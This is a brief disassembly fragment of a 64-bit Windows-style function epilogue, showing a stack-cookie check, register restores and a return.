jmp 0x14000d4a0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004e00
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret